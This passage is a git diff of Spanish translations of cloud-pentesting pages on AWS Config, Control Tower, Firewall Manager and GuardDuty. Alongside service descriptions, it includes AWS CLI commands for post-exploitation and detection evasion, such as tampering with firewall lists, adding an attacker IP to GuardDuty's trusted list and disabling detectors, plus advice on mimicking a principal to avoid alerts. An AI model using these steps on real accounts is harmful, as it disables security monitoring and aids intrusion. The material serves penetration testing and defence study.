recurso compatible tiene un cambio en su configuración de cualquier manera. Además de registrar los detalles del recurso afectado, AWS Config también registrará CIs para cualquier recurso directamente relacionado para asegurar que el cambio no afectó a esos recursos también. - **Metadata**: Contiene detalles sobre el elemento de configuración en sí. Un ID de versión y un ID de configuración, que identifican de manera única el CI. Otra información puede incluir un MD5Hash que te permite comparar otros CIs ya registrados contra el mismo recurso. -- **Atributos**: Esto contiene información común de **atributos contra el recurso real**. Dentro de esta sección, también tenemos un ID de recurso único y cualquier etiqueta de valor clave que esté asociada al recurso. El tipo de recurso también se lista. Por ejemplo, si este fuera un CI para una instancia EC2, los tipos de recursos listados podrían ser la interfaz de red o la dirección IP elástica para esa instancia EC2. -- **Relaciones**: Esto contiene información sobre cualquier **relación conectada que el recurso pueda tener**. Así que dentro de esta sección, mostraría una descripción clara de cualquier relación con otros recursos que este recurso tuviera. Por ejemplo, si el CI fuera para una instancia EC2, la sección de relaciones podría mostrar la conexión a un VPC junto con la subred en la que reside la instancia EC2. -- **Configuración actual:** Esto mostrará la misma información que se generaría si realizaras una llamada API de descripción o lista hecha por el AWS CLI. AWS Config utiliza las mismas llamadas API para obtener la misma información. -- **Eventos relacionados**: Esto se relaciona con AWS CloudTrail. Esto mostrará el **ID de evento de AWS CloudTrail que está relacionado con el cambio que activó la creación de este CI**. Se crea un nuevo CI para cada cambio realizado en un recurso. Como resultado, se crearán diferentes IDs de eventos de CloudTrail. +- **Attributes**: Esto contiene información común de **atributos contra el recurso real**. Dentro de esta sección, también tenemos un ID de recurso único y cualquier etiqueta de valor clave que esté asociada al recurso. También se lista el tipo de recurso. Por ejemplo, si este fuera un CI para una instancia de EC2, los tipos de recursos listados podrían ser la interfaz de red o la dirección IP elástica para esa instancia de EC2. +- **Relationships**: Esto contiene información sobre cualquier **relación conectada que el recurso pueda tener**. Así que dentro de esta sección, mostraría una descripción clara de cualquier relación con otros recursos que este recurso tuviera. Por ejemplo, si el CI fuera para una instancia de EC2, la sección de relaciones podría mostrar la conexión a un VPC junto con la subred en la que reside la instancia de EC2. +- **Current configuration:** Esto mostrará la misma información que se generaría si realizaras una llamada API de descripción o lista hecha por el AWS CLI. AWS Config utiliza las mismas llamadas API para obtener la misma información. +- **Related events**: Esto se relaciona con AWS CloudTrail. Esto mostrará el **ID de evento de AWS CloudTrail que está relacionado con el cambio que desencadenó la creación de este CI**. Se crea un nuevo CI por cada cambio realizado contra un recurso. Como resultado, se crearán diferentes IDs de eventos de CloudTrail. -**Historial de Configuración**: Es posible obtener el historial de configuración de los recursos gracias a los elementos de configuración. Un historial de configuración se entrega cada 6 horas y contiene todos los CI para un tipo de recurso particular. +**Configuration History**: Es posible obtener el historial de configuración de los recursos gracias a los elementos de configuración. Un historial de configuración se entrega cada 6 horas y contiene todos los CI para un tipo de recurso particular. -**Flujos de Configuración**: Los elementos de configuración se envían a un Tema SNS para habilitar el análisis de los datos. +**Configuration Streams**: Los elementos de configuración se envían a un SNS Topic para habilitar el análisis de los datos. -**Instantáneas de Configuración**: Los elementos de configuración se utilizan para crear una instantánea en el tiempo de todos los recursos compatibles. +**Configuration Snapshots**: Los elementos de configuración se utilizan para crear una instantánea en el tiempo de todos los recursos compatibles. -**S3 se utiliza para almacenar** los archivos de Historial de Configuración y cualquier instantánea de Configuración de tus datos dentro de un solo bucket, que se define dentro del grabador de configuración. Si tienes múltiples cuentas de AWS, es posible que desees agregar tus archivos de historial de configuración en el mismo bucket S3 para tu cuenta principal. Sin embargo, necesitarás otorgar acceso de escritura para este principio de servicio, config.amazonaws.com, y tus cuentas secundarias con acceso de escritura al bucket S3 en tu cuenta principal. +**S3 se utiliza para almacenar** los archivos de historial de configuración y cualquier instantánea de configuración de tus datos dentro de un solo bucket, que se define dentro del grabador de configuración. Si tienes múltiples cuentas de AWS, es posible que desees agregar tus archivos de historial de configuración en el mismo bucket de S3 para tu cuenta principal. Sin embargo, necesitarás otorgar acceso de escritura para este principio de servicio, config.amazonaws.com, y tus cuentas secundarias con acceso de escritura al bucket de S3 en tu cuenta principal. -### Funcionamiento +### Functioning - Cuando se realizan cambios, por ejemplo, en el grupo de seguridad o en la lista de control de acceso del bucket —> se dispara como un Evento recogido por AWS Config -- Almacena todo en el bucket S3 -- Dependiendo de la configuración, tan pronto como algo cambie, podría activar una función lambda O programar una función lambda para revisar periódicamente la configuración de AWS Config +- Almacena todo en el bucket de S3 +- Dependiendo de la configuración, tan pronto como algo cambie, podría desencadenar una función lambda O programar una función lambda para revisar periódicamente la configuración de AWS Config - Lambda retroalimenta a Config - Si se ha roto una regla, Config activa un SNS ![](<../../../../images/image (126).png>) -### Reglas de Config +### Config Rules Las reglas de Config son una excelente manera de ayudarte a **hacer cumplir verificaciones de cumplimiento específicas** **y controles en tus recursos**, y te permiten adoptar una especificación de implementación ideal para cada uno de tus tipos de recursos. Cada regla **es esencialmente una función lambda** que, cuando se invoca, evalúa el recurso y lleva a cabo alguna lógica simple para determinar el resultado de cumplimiento con la regla. **Cada vez que se realiza un cambio** en uno de tus recursos compatibles, **AWS Config verificará el cumplimiento contra cualquier regla de configuración que tengas en su lugar**.\ -AWS tiene una serie de **reglas predefinidas** que caen bajo el paraguas de seguridad y están listas para usar. Por ejemplo, Rds-storage-encrypted. Esto verifica si la encriptación de almacenamiento está activada por tus instancias de base de datos RDS. Encrypted-volumes. Esto verifica si algún volumen EBS que tiene un estado adjunto está encriptado. +AWS tiene una serie de **reglas predefinidas** que caen bajo el paraguas de seguridad y que están listas para usar. Por ejemplo, Rds-storage-encrypted. Esto verifica si la encriptación de almacenamiento está activada por tus instancias de base de datos RDS. Encrypted-volumes. Esto verifica si algún volumen de EBS que tiene un estado adjunto está encriptado. -- **Reglas gestionadas por AWS**: Conjunto de reglas predefinidas que cubren muchas de las mejores prácticas, por lo que siempre vale la pena revisar estas reglas primero antes de configurar las tuyas, ya que existe la posibilidad de que la regla ya exista. -- **Reglas personalizadas**: Puedes crear tus propias reglas para verificar configuraciones personalizadas específicas. +- **AWS Managed rules**: Conjunto de reglas predefinidas que cubren muchas de las mejores prácticas, por lo que siempre vale la pena revisar estas reglas primero antes de configurar las tuyas, ya que existe la posibilidad de que la regla ya exista. +- **Custom rules**: Puedes crear tus propias reglas para verificar configuraciones personalizadas específicas. Límite de 50 reglas de configuración por región antes de que necesites contactar a AWS para un aumento.\ Los resultados no conformes NO se eliminan. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md index 50d8653a2..5e77b70ee 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md @@ -7,15 +7,15 @@ > [!NOTE] > En resumen, Control Tower es un servicio que permite definir políticas para todas tus cuentas dentro de tu organización. Así que en lugar de gestionar cada una de ellas, puedes establecer políticas desde Control Tower que se aplicarán a ellas. -AWS Control Tower es un **servicio proporcionado por Amazon Web Services (AWS)** que permite a las organizaciones configurar y gobernar un entorno seguro, conforme y multi-cuenta en AWS. +AWS Control Tower es un **servicio proporcionado por Amazon Web Services (AWS)** que permite a las organizaciones configurar y gobernar un entorno seguro, conforme y de múltiples cuentas en AWS. AWS Control Tower proporciona un **conjunto predefinido de plantillas de mejores prácticas** que se pueden personalizar para cumplir con **requisitos organizacionales** específicos. Estas plantillas incluyen servicios y características de AWS preconfigurados, como AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail y AWS Service Catalog. -Con AWS Control Tower, los administradores pueden configurar rápidamente un **entorno multi-cuenta que cumpla con los requisitos organizacionales**, como **seguridad** y cumplimiento. El servicio proporciona un panel central para ver y gestionar cuentas y recursos, y también automatiza la provisión de cuentas, servicios y políticas. +Con AWS Control Tower, los administradores pueden configurar rápidamente un **entorno de múltiples cuentas que cumpla con los requisitos organizacionales**, como **seguridad** y cumplimiento. El servicio proporciona un panel central para ver y gestionar cuentas y recursos, y también automatiza la provisión de cuentas, servicios y políticas. Además, AWS Control Tower proporciona barandillas, que son un conjunto de políticas preconfiguradas que aseguran que el entorno permanezca conforme a los requisitos organizacionales. Estas políticas se pueden personalizar para satisfacer necesidades específicas. -En general, AWS Control Tower simplifica el proceso de configurar y gestionar un entorno seguro, conforme y multi-cuenta en AWS, facilitando a las organizaciones centrarse en sus objetivos comerciales principales. +En general, AWS Control Tower simplifica el proceso de configuración y gestión de un entorno seguro, conforme y de múltiples cuentas en AWS, facilitando a las organizaciones centrarse en sus objetivos comerciales principales. ### Enumeration diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md index 8dd5ea80a..6fd3f350d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md @@ -6,31 +6,31 @@ **AWS Firewall Manager** simplifica la gestión y el mantenimiento de **AWS WAF, AWS Shield Advanced, grupos de seguridad de Amazon VPC y Listas de Control de Acceso de Red (ACLs), y AWS Network Firewall, AWS Route 53 Resolver DNS Firewall y cortafuegos de terceros** a través de múltiples cuentas y recursos. Te permite configurar tus reglas de firewall, protecciones de Shield Advanced, grupos de seguridad de VPC y configuraciones de Network Firewall una sola vez, con el servicio **aplicando automáticamente estas reglas y protecciones en tus cuentas y recursos**, incluidos los recién añadidos. -El servicio ofrece la capacidad de **agrupar y proteger recursos específicos juntos**, como aquellos que comparten una etiqueta común o todas tus distribuciones de CloudFront. Una ventaja significativa de Firewall Manager es su capacidad de **extender automáticamente la protección a los recursos recién añadidos** en tu cuenta. +El servicio ofrece la capacidad de **agrupar y proteger recursos específicos juntos**, como aquellos que comparten una etiqueta común o todas tus distribuciones de CloudFront. Una ventaja significativa de Firewall Manager es su capacidad para **extender automáticamente la protección a los recursos recién añadidos** en tu cuenta. Un **grupo de reglas** (una colección de reglas de WAF) puede ser incorporado en una Política de AWS Firewall Manager, que luego se vincula a recursos específicos de AWS como distribuciones de CloudFront o balanceadores de carga de aplicaciones. AWS Firewall Manager proporciona **listas de aplicaciones y protocolos gestionadas** para simplificar la configuración y gestión de políticas de grupos de seguridad. Estas listas te permiten definir los protocolos y aplicaciones permitidos o denegados por tus políticas. Hay dos tipos de listas gestionadas: -- **Listas gestionadas por Firewall Manager**: Estas listas incluyen **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** y **FMS-Default-Protocols-Allowed**. Son gestionadas por Firewall Manager e incluyen aplicaciones y protocolos de uso común que deben ser permitidos o denegados al público en general. No es posible editarlas o eliminarlas, sin embargo, puedes elegir su versión. +- **Listas gestionadas por Firewall Manager**: Estas listas incluyen **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** y **FMS-Default-Protocols-Allowed**. Son gestionadas por Firewall Manager e incluyen aplicaciones y protocolos comúnmente utilizados que deben ser permitidos o denegados al público en general. No es posible editarlas o eliminarlas, sin embargo, puedes elegir su versión. - **Listas gestionadas personalizadas**: Tú gestionas estas listas tú mismo. Puedes crear listas de aplicaciones y protocolos personalizadas adaptadas a las necesidades de tu organización. A diferencia de las listas gestionadas por Firewall Manager, estas listas no tienen versiones, pero tienes control total sobre las listas personalizadas, lo que te permite crear, editar y eliminarlas según sea necesario. Es importante señalar que **las políticas de Firewall Manager permiten solo acciones de "Bloquear" o "Contar"** para un grupo de reglas, sin una opción de "Permitir". -### Prerrequisitos +### Prerequisites -Los siguientes pasos de prerrequisitos deben completarse antes de proceder a configurar Firewall Manager para comenzar a proteger efectivamente los recursos de tu organización. Estos pasos proporcionan la configuración básica requerida para que Firewall Manager aplique políticas de seguridad y asegure el cumplimiento en tu entorno de AWS: +Los siguientes pasos previos deben completarse antes de proceder a configurar Firewall Manager para comenzar a proteger efectivamente los recursos de tu organización. Estos pasos proporcionan la configuración básica requerida para que Firewall Manager aplique políticas de seguridad y asegure el cumplimiento en tu entorno de AWS: 1. **Unirse y configurar AWS Organizations:** Asegúrate de que tu cuenta de AWS sea parte de la organización de AWS Organizations donde se planea implementar las políticas de AWS Firewall Manager. Esto permite la gestión centralizada de recursos y políticas a través de múltiples cuentas de AWS dentro de la organización. -2. **Crear una Cuenta de Administrador Predeterminado de AWS Firewall Manager:** Establece una cuenta de administrador predeterminado específicamente para gestionar las políticas de seguridad de Firewall Manager. Esta cuenta será responsable de configurar y hacer cumplir las políticas de seguridad en toda la organización. Solo la cuenta de gestión de la organización puede crear cuentas de administrador predeterminado de Firewall Manager. +2. **Crear una Cuenta de Administrador Predeterminada de AWS Firewall Manager:** Establece una cuenta de administrador predeterminada específicamente para gestionar las políticas de seguridad de Firewall Manager. Esta cuenta será responsable de configurar y hacer cumplir las políticas de seguridad en toda la organización. Solo la cuenta de gestión de la organización puede crear cuentas de administrador predeterminadas de Firewall Manager. 3. **Habilitar AWS Config:** Activa AWS Config para proporcionar a Firewall Manager los datos de configuración e información necesarios para hacer cumplir efectivamente las políticas de seguridad. AWS Config ayuda a analizar, auditar, monitorear y auditar configuraciones de recursos y cambios, facilitando una mejor gestión de la seguridad. -4. **Para Políticas de Terceros, Suscribirse en el AWS Marketplace y Configurar Ajustes de Terceros:** Si planeas utilizar políticas de firewall de terceros, suscríbete a ellas en el AWS Marketplace y configura los ajustes necesarios. Este paso asegura que Firewall Manager pueda integrar y hacer cumplir políticas de proveedores de terceros de confianza. -5. **Para Políticas de Network Firewall y DNS Firewall, habilitar el uso compartido de recursos:** Habilita el uso compartido de recursos específicamente para políticas de Network Firewall y DNS Firewall. Esto permite que Firewall Manager aplique protecciones de firewall a tus VPCs y resolución DNS de la organización, mejorando la seguridad de la red. +4. **Para Políticas de Terceros, Suscribirse en el AWS Marketplace y Configurar Ajustes de Terceros:** Si planeas utilizar políticas de cortafuegos de terceros, suscríbete a ellas en el AWS Marketplace y configura los ajustes necesarios. Este paso asegura que Firewall Manager pueda integrar y hacer cumplir políticas de proveedores de terceros de confianza. +5. **Para Políticas de Network Firewall y DNS Firewall, habilitar el uso compartido de recursos:** Habilita el uso compartido de recursos específicamente para políticas de Network Firewall y DNS Firewall. Esto permite que Firewall Manager aplique protecciones de firewall a los VPCs de tu organización y a la resolución DNS, mejorando la seguridad de la red. 6. **Para usar AWS Firewall Manager en Regiones que están deshabilitadas por defecto:** Si tienes la intención de usar Firewall Manager en regiones de AWS que están deshabilitadas por defecto, asegúrate de tomar los pasos necesarios para habilitar su funcionalidad en esas regiones. Esto asegura una aplicación consistente de la seguridad en todas las regiones donde opera tu organización. Para más información, consulta: [Getting started with AWS Firewall Manager AWS WAF policies](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html). -### Tipos de políticas de protección +### Types of protection policies AWS Firewall Manager gestiona varios tipos de políticas para hacer cumplir controles de seguridad en diferentes aspectos de la infraestructura de tu organización: @@ -38,13 +38,13 @@ AWS Firewall Manager gestiona varios tipos de políticas para hacer cumplir cont 2. **Política de Shield Advanced:** Esta política aplica protecciones de Shield Advanced en toda tu organización para tipos de recursos especificados. Ayuda a proteger contra ataques DDoS y otras amenazas. 3. **Política de Grupo de Seguridad de Amazon VPC:** Con esta política, puedes gestionar grupos de seguridad utilizados en toda tu organización, aplicando un conjunto básico de reglas en tu entorno de AWS para controlar el acceso a la red. 4. **Política de Lista de Control de Acceso de Red (ACL) de Amazon VPC:** Este tipo de política te da control sobre las ACLs de red utilizadas en tu organización, permitiéndote aplicar un conjunto básico de ACLs de red en tu entorno de AWS. -5. **Política de Network Firewall:** Esta política aplica protección de AWS Network Firewall a tus VPCs de la organización, mejorando la seguridad de la red al filtrar el tráfico según reglas predefinidas. -6. **Política de DNS Firewall de Amazon Route 53 Resolver:** Esta política aplica protecciones de DNS Firewall a tus VPCs de la organización, ayudando a bloquear intentos de resolución de dominios maliciosos y hacer cumplir políticas de seguridad para el tráfico DNS. -7. **Política de Firewall de Terceros:** Este tipo de política aplica protecciones de cortafuegos de terceros, que están disponibles por suscripción a través de la consola de AWS Marketplace. Permite integrar medidas de seguridad adicionales de proveedores de confianza en tu entorno de AWS. -1. **Política de Palo Alto Networks Cloud NGFW:** Esta política aplica protecciones y conjuntos de reglas del Firewall de Nueva Generación (NGFW) de Palo Alto Networks a tus VPCs de la organización, proporcionando prevención avanzada de amenazas y controles de seguridad a nivel de aplicación. -2. **Política de Fortigate Cloud Native Firewall (CNF) como Servicio:** Esta política aplica protecciones de Fortigate Cloud Native Firewall (CNF) como Servicio, ofreciendo prevención de amenazas líder en la industria, firewall de aplicaciones web (WAF) y protección de API adaptadas para infraestructuras en la nube. +5. **Política de Network Firewall:** Esta política aplica protección de AWS Network Firewall a los VPCs de tu organización, mejorando la seguridad de la red al filtrar el tráfico según reglas predefinidas. +6. **Política de DNS Firewall de Amazon Route 53 Resolver:** Esta política aplica protecciones de DNS Firewall a los VPCs de tu organización, ayudando a bloquear intentos de resolución de dominios maliciosos y hacer cumplir políticas de seguridad para el tráfico DNS. +7. **Política de Cortafuegos de Terceros:** Este tipo de política aplica protecciones de cortafuegos de terceros, que están disponibles por suscripción a través de la consola de AWS Marketplace. Permite integrar medidas de seguridad adicionales de proveedores de confianza en tu entorno de AWS. +1. **Política de Palo Alto Networks Cloud NGFW:** Esta política aplica protecciones y conjuntos de reglas del Cortafuegos de Nueva Generación (NGFW) de Palo Alto Networks a los VPCs de tu organización, proporcionando prevención avanzada de amenazas y controles de seguridad a nivel de aplicación. +2. **Política de Fortigate Cloud Native Firewall (CNF) como Servicio:** Esta política aplica protecciones de Fortigate Cloud Native Firewall (CNF) como Servicio, ofreciendo prevención de amenazas líder en la industria, cortafuegos de aplicaciones web (WAF) y protección de API adaptada para infraestructuras en la nube. -### Cuentas de administrador +### Administrator accounts AWS Firewall Manager ofrece flexibilidad en la gestión de recursos de firewall dentro de tu organización a través de su alcance administrativo y dos tipos de cuentas de administrador. @@ -59,14 +59,14 @@ El alcance administrativo puede ser **completo o restringido**. El alcance compl Hay dos tipos distintos de cuentas de administrador, cada una con roles y responsabilidades específicas: - **Administrador Predeterminado:** -- La cuenta de administrador predeterminado es creada por la cuenta de gestión de la organización de AWS Organizations durante el proceso de incorporación a Firewall Manager. +- La cuenta de administrador predeterminada es creada por la cuenta de gestión de la organización de AWS Organizations durante el proceso de incorporación a Firewall Manager. - Esta cuenta tiene la capacidad de gestionar cortafuegos de terceros y posee un alcance administrativo completo. - Sirve como la cuenta de administrador principal para Firewall Manager, responsable de configurar y hacer cumplir políticas de seguridad en toda la organización. -- Aunque el administrador predeterminado tiene acceso completo a todos los tipos de recursos y funcionalidades administrativas, opera al mismo nivel de par que otros administradores si se utilizan múltiples administradores dentro de la organización. +- Aunque el administrador predeterminado tiene acceso completo a todos los tipos de recursos y funcionalidades administrativas, opera al mismo nivel de pares que otros administradores si se utilizan múltiples administradores dentro de la organización. - **Administradores de Firewall Manager:** - Estos administradores pueden gestionar recursos dentro del alcance designado por la cuenta de gestión de AWS Organizations, según lo definido por la configuración del alcance administrativo. -- Los administradores de Firewall Manager se crean para cumplir roles específicos dentro de la organización, permitiendo la delegación de responsabilidades mientras se mantienen estándares de seguridad y cumplimiento. -- Al crearse, Firewall Manager verifica con AWS Organizations para determinar si la cuenta ya es un administrador delegado. Si no, Firewall Manager llama a Organizations para designar la cuenta como un administrador delegado para Firewall Manager. +- Los administradores de Firewall Manager son creados para cumplir roles específicos dentro de la organización, permitiendo la delegación de responsabilidades mientras se mantienen estándares de seguridad y cumplimiento. +- Al ser creados, Firewall Manager verifica con AWS Organizations para determinar si la cuenta ya es un administrador delegado. Si no, Firewall Manager llama a Organizations para designar la cuenta como un administrador delegado para Firewall Manager. Gestionar estas cuentas de administrador implica crearlas dentro de Firewall Manager y definir sus alcances administrativos de acuerdo con los requisitos de seguridad de la organización y el principio de menor privilegio. Al asignar roles administrativos apropiados, las organizaciones pueden asegurar una gestión de seguridad efectiva mientras mantienen un control granular sobre el acceso a recursos sensibles. @@ -76,7 +76,7 @@ Es importante destacar que **solo una cuenta dentro de una organización puede s - Luego, el administrador predeterminado existente puede revocar su propia cuenta, efectivamente desvinculando a la organización de Firewall Manager. Este proceso resulta en la eliminación de todas las políticas de Firewall Manager creadas por la cuenta revocada. - Para concluir, la cuenta de gestión de AWS Organizations debe designar al administrador predeterminado de Firewall Manager. -## Enumeración +## Enumeration ``` # Users/Administrators @@ -161,7 +161,7 @@ aws fms get-third-party-firewall-association-status --third-party-firewall --member-account --resource-id --resource-type ``` -## Post Explotación / Bypass Detección +## Post Explotación / Bypass de Detección ### `organizations:DescribeOrganization` & (`fms:AssociateAdminAccount`, `fms:DisassociateAdminAccount`, `fms:PutAdminAccount`) @@ -226,7 +226,7 @@ aws fms delete-resource-set --identifier ### `fms:PutAppsList`, `fms:DeleteAppsList` -Un atacante con los permisos **`fms:PutAppsList`** y **`fms:DeleteAppsList`** podría crear, modificar o eliminar listas de aplicaciones de AWS Firewall Manager. Esto podría ser crítico, ya que se podría permitir el acceso a aplicaciones no autorizadas al público en general, o se podría denegar el acceso a aplicaciones autorizadas, causando un DoS. +Un atacante con los permisos **`fms:PutAppsList`** y **`fms:DeleteAppsList`** podría crear, modificar o eliminar listas de aplicaciones de AWS Firewall Manager. Esto podría ser crítico, ya que aplicaciones no autorizadas podrían obtener acceso al público en general, o el acceso a aplicaciones autorizadas podría ser denegado, causando un DoS. ```bash aws fms put-apps-list --apps-list [--tag-list ] aws fms delete-apps-list --list-id @@ -235,7 +235,7 @@ aws fms delete-apps-list --list-id ### `fms:PutProtocolsList`, `fms:DeleteProtocolsList` -Un atacante con los permisos **`fms:PutProtocolsList`** y **`fms:DeleteProtocolsList`** podría crear, modificar o eliminar listas de protocolos de AWS Firewall Manager. De manera similar a las listas de aplicaciones, esto podría ser crítico ya que protocolos no autorizados podrían ser utilizados por el público en general, o el uso de protocolos autorizados podría ser denegado, causando un DoS. +Un atacante con los permisos **`fms:PutProtocolsList`** y **`fms:DeleteProtocolsList`** podría crear, modificar o eliminar listas de protocolos desde AWS Firewall Manager. De manera similar a las listas de aplicaciones, esto podría ser crítico ya que protocolos no autorizados podrían ser utilizados por el público en general, o el uso de protocolos autorizados podría ser denegado, causando un DoS. ```bash aws fms put-protocols-list --apps-list [--tag-list ] aws fms delete-protocols-list --list-id @@ -261,15 +261,15 @@ aws fms delete-notification-channel ### `fms:AssociateThirdPartyFirewall`, `fms:DisssociateThirdPartyFirewall` -Un atacante con los permisos **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** podría asociar o desasociar cortafuegos de terceros para ser gestionados centralmente a través de AWS Firewall Manager. +Un atacante con los permisos **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** podría asociar o desasociar firewalls de terceros para ser gestionados centralmente a través de AWS Firewall Manager. > [!WARNING] -> Solo el administrador predeterminado puede crear y gestionar cortafuegos de terceros. +> Solo el administrador predeterminado puede crear y gestionar firewalls de terceros. ```bash aws fms associate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL] aws fms disassociate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL] ``` -**Impacto Potencial:** La disociación llevaría a una evasión de políticas, violaciones de cumplimiento y interrupción de los controles de seguridad dentro del entorno. La asociación, por otro lado, llevaría a una interrupción de la asignación de costos y presupuesto. +**Impacto Potencial:** La disociación llevaría a una evasión de políticas, violaciones de cumplimiento y interrupción de controles de seguridad dentro del entorno. La asociación, por otro lado, llevaría a una interrupción de la asignación de costos y presupuestos. ### `fms:TagResource`, `fms:UntagResource` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md index e7174826e..d8dbea45c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md @@ -16,8 +16,8 @@ Las alertas **aparecen en la consola de GuardDuty (90 días)** y en CloudWatch E ### Ejemplo de Hallazgos -- **Reconocimiento**: Actividad que sugiere reconocimiento por parte de un atacante, como **actividad inusual de API**, intentos de **inicio de sesión** en bases de datos sospechosos, **escaneo de puertos** intra-VPC, patrones inusuales de solicitudes de inicio de sesión fallidas, o sondeo de puertos desbloqueados desde una IP conocida como mala. -- **Compromiso de instancia**: Actividad que indica un compromiso de instancia, como **minería de criptomonedas, actividad de comando y control (C\&C)** de puerta trasera, malware utilizando algoritmos de generación de dominios (DGA), actividad de denegación de servicio saliente, volumen de tráfico de red **inusualmente alto**, protocolos de red inusuales, comunicación de instancia saliente con una IP maliciosa conocida, credenciales temporales de Amazon EC2 utilizadas por una dirección IP externa, y exfiltración de datos utilizando DNS. +- **Reconocimiento**: Actividad que sugiere reconocimiento por parte de un atacante, como **actividad inusual de API**, intentos de **inicio de sesión** en bases de datos sospechosos, **escaneo de puertos** intra-VPC, patrones inusuales de solicitudes de inicio de sesión fallidas, o sondeo de puertos no bloqueados desde una IP conocida como mala. +- **Compromiso de instancia**: Actividad que indica un compromiso de instancia, como **minería de criptomonedas, actividad de comando y control (C\&C)** de puerta trasera, malware que utiliza algoritmos de generación de dominios (DGA), actividad de denegación de servicio saliente, volumen de tráfico de red **inusualmente alto**, protocolos de red inusuales, comunicación de instancia saliente con una IP maliciosa conocida, credenciales temporales de Amazon EC2 utilizadas por una dirección IP externa, y exfiltración de datos utilizando DNS. - **Compromiso de cuenta**: Patrones comunes indicativos de compromiso de cuenta incluyen llamadas a la API desde una geolocalización inusual o proxy de anonimización, intentos de desactivar el registro de AWS CloudTrail, cambios que debilitan la política de contraseñas de la cuenta, lanzamientos inusuales de instancias o infraestructura, implementaciones de infraestructura en una región inusual, robo de credenciales, actividad sospechosa de inicio de sesión en bases de datos, y llamadas a la API desde direcciones IP maliciosas conocidas. - **Compromiso de bucket**: Actividad que indica un compromiso de bucket, como patrones de acceso a datos sospechosos que indican uso indebido de credenciales, actividad inusual de API de Amazon S3 desde un host remoto, acceso no autorizado a S3 desde direcciones IP maliciosas conocidas, y llamadas a la API para recuperar datos en buckets de S3 desde un usuario sin historial previo de acceso al bucket o invocadas desde una ubicación inusual. Amazon GuardDuty monitorea y analiza continuamente los eventos de datos de S3 de AWS CloudTrail (por ejemplo, GetObject, ListObjects, DeleteObject) para detectar actividad sospechosa en todos tus buckets de Amazon S3. @@ -100,15 +100,15 @@ aws guardduty list-publishing-destinations --detector-id aws guardduty list-threat-intel-sets --detector-id aws guardduty get-threat-intel-set --detector-id --threat-intel-set-id ``` -## GuardDuty Bypass +## Bypass de GuardDuty -### General Guidance +### Guía General Intenta averiguar tanto como sea posible sobre el comportamiento de las credenciales que vas a utilizar: - Tiempos en que se utiliza - Ubicaciones -- Agentes de usuario / Servicios (Podría ser utilizado desde awscli, webconsole, lambda...) +- Agentes de Usuario / Servicios (Podría ser utilizado desde awscli, webconsole, lambda...) - Permisos utilizados regularmente Con esta información, recrea tanto como sea posible el mismo escenario para usar el acceso: @@ -118,7 +118,7 @@ Con esta información, recrea tanto como sea posible el mismo escenario para usa - Siempre intenta usar los **mismos permisos** que este principal ha utilizado - Si necesitas **usar otros permisos o abusar de un permiso** (por ejemplo, descargar 1.000.000 de archivos de registro de cloudtrail) hazlo **lentamente** y con la **mínima cantidad de interacciones** con AWS (awscli a veces llama a varias APIs de lectura antes de la de escritura) -### Breaking GuardDuty +### Rompiendo GuardDuty #### `guardduty:UpdateDetector` @@ -135,7 +135,7 @@ aws guardduty create-filter --detector-id --name -- ``` #### `iam:PutRolePolicy`, (`guardduty:CreateIPSet`|`guardduty:UpdateIPSet`) -Los atacantes con los privilegios anteriores podrían modificar la [**Lista de IPs de confianza**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) de GuardDuty añadiendo su dirección IP y evitar generar alertas. +Los atacantes con los privilegios anteriores podrían modificar la [**lista de IPs de confianza**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) de GuardDuty añadiendo su dirección IP y evitar generar alertas. ```bash aws guardduty update-ip-set --detector-id --activate --ip-set-id --location https://some-bucket.s3-eu-west-1.amazonaws.com/attacker.csv ``` @@ -150,7 +150,7 @@ aws guardduty delete-publishing-destination --detector-id --destin ### Ejemplos Específicos de Bypass de Hallazgos -Tenga en cuenta que hay decenas de hallazgos de GuardDuty, sin embargo, **como Red Teamer, no todos ellos te afectarán**, y lo que es mejor, tienes la **documentación completa de cada uno de ellos** en [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) así que échale un vistazo antes de realizar cualquier acción para no ser atrapado. +Tenga en cuenta que hay decenas de hallazgos de GuardDuty, sin embargo, **como Red Teamer, no todos ellos te afectarán**, y lo que es mejor, tienes la **documentación completa de cada uno de ellos** en [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) así que échale un vistazo antes de realizar cualquier acción para no ser detectado. Aquí tienes un par de ejemplos de bypass de hallazgos específicos de GuardDuty: @@ -160,7 +160,7 @@ GuardDuty detecta solicitudes de API de AWS de herramientas 